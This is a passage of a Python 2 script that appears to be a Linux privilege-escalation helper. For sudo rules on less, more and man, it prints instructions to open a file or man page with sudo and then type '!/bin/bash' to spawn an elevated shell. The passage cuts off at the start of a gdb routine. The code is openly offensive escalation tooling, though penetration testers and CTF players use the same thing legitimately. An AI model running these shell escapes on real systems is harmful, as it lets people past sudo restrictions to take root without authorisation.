print OKRED + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC
print OKYELLOW + "\n[!] NO AUTO PWNAGE AVAILABLE.... FOLLOW BELOW STEPS TO PWN: " + ENDC
print OKBLUE + "[1] The first step is to open a file using the 'less' command: " + ENDC
if (less_user == "ALL") or (less_user == "root"):
print OKRED + " [*] sudo less <filename>" + ENDC
else:
print OKRED + " [*] sudo -u " + less_user + " less <filename>" + ENDC
print OKBLUE + "[2] Once the file is open type '!/bin/bash': " + ENDC
print OKRED + " [*] !/bin/bash" + ENDC
print OKRED + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC
sys.exit()
# SUDO more Rule Pwnage
def more(more_user):
print OKRED + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC
print OKYELLOW + "\n[!] NO AUTO PWNAGE AVAILABLE.... FOLLOW BELOW STEPS TO PWN: " + ENDC
print OKBLUE + "[1] The first step is to open a file using the 'more' command: " + ENDC
if (more_user == "ALL") or (more_user == "root"):
print OKRED + " [*] sudo more <filename>" + ENDC
else:
print OKRED + " [*] sudo -u " + more_user + " more <filename>" + ENDC
print OKBLUE + "[2] Once the file is open type '!/bin/bash': " + ENDC
print OKRED + " [*] !/bin/bash" + ENDC
print OKRED + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC
sys.exit()
# SUDO man Rule Pwnage
def man(man_user):
print OKRED + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC
print OKYELLOW + "\n[!] NO AUTO PWNAGE AVAILABLE.... FOLLOW BELOW STEPS TO PWN: " + ENDC
print OKBLUE + "[1] The first step is to view the man page of a Linux command: " + ENDC
if (man_user == "ALL") or (man_user == "root"):
print OKRED + " [*] sudo man bash" + ENDC
else:
print OKRED + " [*] sudo -u " + man_user + " man bash" + ENDC
print OKBLUE + "[2] Once the page is open type '!/bin/bash': " + ENDC
print OKRED + " [*] !/bin/bash" + ENDC
print OKRED + "\n-----------------------------------------------------------------------------------------------------------------------------\n" + ENDC
sys.exit()
# SUDO gdb Rule Pwnage
def gdb(gdb_user):
if args.info:
print OKYELLOW + "\n-----------------------------------------------------------------------------------------------------------------------------" + ENDC